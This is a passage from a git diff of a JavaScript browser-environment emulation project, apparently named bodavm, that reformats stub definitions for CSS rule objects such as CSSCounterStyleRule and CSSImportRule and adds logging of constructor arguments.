bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerQuery", { + configurable: true, + enumerable: true, + get: function containerQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerQuery_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSCounterStyleRule.js b/env_xbb_lastest_jsdom/env/CSSCounterStyleRule.js index cd012098..99e903fe 100644 --- a/env_xbb_lastest_jsdom/env/CSSCounterStyleRule.js +++ b/env_xbb_lastest_jsdom/env/CSSCounterStyleRule.js @@ -1,16 +1,129 @@ -// CSSCounterStyleRule对象 -bodavm.memory.globalobj['CSSCounterStyleRule'] = function CSSCounterStyleRule(){if (!(this instanceof CSSCounterStyleRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSCounterStyleRule'], "CSSCounterStyleRule"); -bodavm.memory.globalobj['CSSCounterStyleRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSCounterStyleRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "system", {configurable:true, enumerable:true, get:function system (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_get", arguments)}, set:function system (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "symbols", {configurable:true, enumerable:true, get:function symbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_get", arguments)}, set:function symbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "additiveSymbols", {configurable:true, enumerable:true, get:function additiveSymbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_get", arguments)}, set:function additiveSymbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "negative", {configurable:true, enumerable:true, get:function negative (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_get", arguments)}, set:function negative (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_get", arguments)}, set:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "suffix", {configurable:true, enumerable:true, get:function suffix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_get", arguments)}, set:function suffix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "range", {configurable:true, enumerable:true, get:function range (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_get", arguments)}, set:function range (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "pad", {configurable:true, enumerable:true, get:function pad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_get", arguments)}, set:function pad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "speakAs", {configurable:true, enumerable:true, get:function speakAs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_get", arguments)}, set:function speakAs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "fallback", {configurable:true, enumerable:true, get:function fallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_get", arguments)}, set:function fallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_set", arguments)}},'prototype'); +// CSSCounterStyleRule对象 + +bodavm.memory.globalobj['CSSCounterStyleRule'] = function CSSCounterStyleRule() { + console.log_copy('CSSCounterStyleRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSCounterStyleRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSCounterStyleRule'], "CSSCounterStyleRule"); +bodavm.memory.globalobj['CSSCounterStyleRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSCounterStyleRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "system", { + configurable: true, + enumerable: true, + get: function system() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_get", arguments); + }, + set: function system() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "symbols", { + configurable: true, + enumerable: true, + get: function symbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_get", arguments); + }, + set: function symbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "additiveSymbols", { + configurable: true, + enumerable: true, + get: function additiveSymbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_get", arguments); + }, + set: function additiveSymbols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "negative", { + configurable: true, + enumerable: true, + get: function negative() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_get", arguments); + }, + set: function negative() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_get", arguments); + }, + set: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "suffix", { + configurable: true, + enumerable: true, + get: function suffix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_get", arguments); + }, + set: function suffix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "range", { + configurable: true, + enumerable: true, + get: function range() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_get", arguments); + }, + set: function range() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "pad", { + configurable: true, + enumerable: true, + get: function pad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_get", arguments); + }, + set: function pad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "speakAs", { + configurable: true, + enumerable: true, + get: function speakAs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_get", arguments); + }, + set: function speakAs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "fallback", { + configurable: true, + enumerable: true, + get: function fallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_get", arguments); + }, + set: function fallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSFontFaceRule.js b/env_xbb_lastest_jsdom/env/CSSFontFaceRule.js index 95db8f8e..bda8b7e2 100644 --- a/env_xbb_lastest_jsdom/env/CSSFontFaceRule.js +++ b/env_xbb_lastest_jsdom/env/CSSFontFaceRule.js @@ -1,6 +1,27 @@ -// CSSFontFaceRule对象 -bodavm.memory.globalobj['CSSFontFaceRule'] = function CSSFontFaceRule(){if (!(this instanceof CSSFontFaceRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontFaceRule'], "CSSFontFaceRule"); -bodavm.memory.globalobj['CSSFontFaceRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSFontFaceRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSFontFaceRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontFaceRule'].prototype, "CSSFontFaceRule", "style_get", arguments)}, set:undefined},'prototype'); +// CSSFontFaceRule对象 + +bodavm.memory.globalobj['CSSFontFaceRule'] = function CSSFontFaceRule() { + console.log_copy('CSSFontFaceRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSFontFaceRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontFaceRule'], "CSSFontFaceRule"); +bodavm.memory.globalobj['CSSFontFaceRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSFontFaceRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSFontFaceRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontFaceRule'].prototype, "CSSFontFaceRule", "style_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSFontPaletteValuesRule.js b/env_xbb_lastest_jsdom/env/CSSFontPaletteValuesRule.js index cfee172b..99ca0c4e 100644 --- a/env_xbb_lastest_jsdom/env/CSSFontPaletteValuesRule.js +++ b/env_xbb_lastest_jsdom/env/CSSFontPaletteValuesRule.js @@ -1,9 +1,51 @@ -// CSSFontPaletteValuesRule对象 -bodavm.memory.globalobj['CSSFontPaletteValuesRule'] = function CSSFontPaletteValuesRule(){if (!(this instanceof CSSFontPaletteValuesRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontPaletteValuesRule'], "CSSFontPaletteValuesRule"); -bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSFontPaletteValuesRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "fontFamily", {configurable:true, enumerable:true, get:function fontFamily (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "fontFamily_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "basePalette", {configurable:true, enumerable:true, get:function basePalette (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "basePalette_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "overrideColors", {configurable:true, enumerable:true, get:function overrideColors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "overrideColors_get", arguments)}, set:undefined},'prototype'); +// CSSFontPaletteValuesRule对象 + +bodavm.memory.globalobj['CSSFontPaletteValuesRule'] = function CSSFontPaletteValuesRule() { + console.log_copy('CSSFontPaletteValuesRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSFontPaletteValuesRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontPaletteValuesRule'], "CSSFontPaletteValuesRule"); +bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSFontPaletteValuesRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "fontFamily", { + configurable: true, + enumerable: true, + get: function fontFamily() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "fontFamily_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "basePalette", { + configurable: true, + enumerable: true, + get: function basePalette() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "basePalette_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "overrideColors", { + configurable: true, + enumerable: true, + get: function overrideColors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "overrideColors_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSGroupingRule.js b/env_xbb_lastest_jsdom/env/CSSGroupingRule.js index 0a47ad0b..9b954d90 100644 --- a/env_xbb_lastest_jsdom/env/CSSGroupingRule.js +++ b/env_xbb_lastest_jsdom/env/CSSGroupingRule.js @@ -1,8 +1,43 @@ -// CSSGroupingRule对象 -bodavm.memory.globalobj['CSSGroupingRule'] = function CSSGroupingRule(){if (!(this instanceof CSSGroupingRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSGroupingRule'], "CSSGroupingRule"); -bodavm.memory.globalobj['CSSGroupingRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSGroupingRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSGroupingRule', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSGroupingRule', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSGroupingRule', "insertRule", {configurable:true, enumerable:true, writable:true, value:function insertRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "insertRule", arguments)}},'prototype'); +// CSSGroupingRule对象 + +bodavm.memory.globalobj['CSSGroupingRule'] = function CSSGroupingRule() { + console.log_copy('CSSGroupingRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSGroupingRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSGroupingRule'], "CSSGroupingRule"); +bodavm.memory.globalobj['CSSGroupingRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSGroupingRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSGroupingRule', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSGroupingRule', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSGroupingRule', "insertRule", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "insertRule", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSImageValue.js b/env_xbb_lastest_jsdom/env/CSSImageValue.js index 92734016..b8876420 100644 --- a/env_xbb_lastest_jsdom/env/CSSImageValue.js +++ b/env_xbb_lastest_jsdom/env/CSSImageValue.js @@ -1,5 +1,19 @@ -// CSSImageValue对象 -bodavm.memory.globalobj['CSSImageValue'] = function CSSImageValue(){if (!(this instanceof CSSImageValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImageValue'], "CSSImageValue"); -bodavm.memory.globalobj['CSSImageValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSImageValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; +// CSSImageValue对象 + +bodavm.memory.globalobj['CSSImageValue'] = function CSSImageValue() { + console.log_copy('CSSImageValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSImageValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImageValue'], "CSSImageValue"); +bodavm.memory.globalobj['CSSImageValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSImageValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSImportRule.js b/env_xbb_lastest_jsdom/env/CSSImportRule.js index 680b2cbf..a1766b7f 100644 --- a/env_xbb_lastest_jsdom/env/CSSImportRule.js +++ b/env_xbb_lastest_jsdom/env/CSSImportRule.js @@ -1,9 +1,53 @@ -// CSSImportRule对象 -bodavm.memory.globalobj['CSSImportRule'] = function CSSImportRule(){if (!(this instanceof CSSImportRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImportRule'], "CSSImportRule"); -bodavm.memory.globalobj['CSSImportRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSImportRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSImportRule', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSImportRule', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSImportRule', "styleSheet", {configurable:true, enumerable:true, get:function styleSheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "styleSheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSImportRule', "layerName", {configurable:true, enumerable:true, get:function layerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "layerName_get", arguments)}, set:undefined},'prototype'); +// CSSImportRule对象 + +bodavm.memory.globalobj['CSSImportRule'] = function CSSImportRule() { + console.log_copy('CSSImportRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSImportRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImportRule'], "CSSImportRule"); +bodavm.memory.globalobj['CSSImportRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSImportRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSImportRule', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSImportRule', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSImportRule', "styleSheet", { + configurable: true, + enumerable: true, + get: function styleSheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "styleSheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSImportRule', "layerName", { + configurable: true, + enumerable: true, + get: function layerName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "layerName_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSKeyframeRule.js b/env_xbb_lastest_jsdom/env/CSSKeyframeRule.js index 8ed57f72..13ada830 100644 --- a/env_xbb_lastest_jsdom/env/CSSKeyframeRule.js +++ b/env_xbb_lastest_jsdom/env/CSSKeyframeRule.js @@ -1,7 +1,39 @@ -// CSSKeyframeRule对象 -bodavm.memory.globalobj['CSSKeyframeRule'] = function CSSKeyframeRule(){if (!(this instanceof CSSKeyframeRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframeRule'], "CSSKeyframeRule"); -bodavm.memory.globalobj['CSSKeyframeRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSKeyframeRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "keyText", {configurable:true, enumerable:true, get:function keyText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_get", arguments)}, set:function keyText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_set", arguments)}},'prototype'); +// CSSKeyframeRule对象 + +bodavm.memory.globalobj['CSSKeyframeRule'] = function CSSKeyframeRule() { + 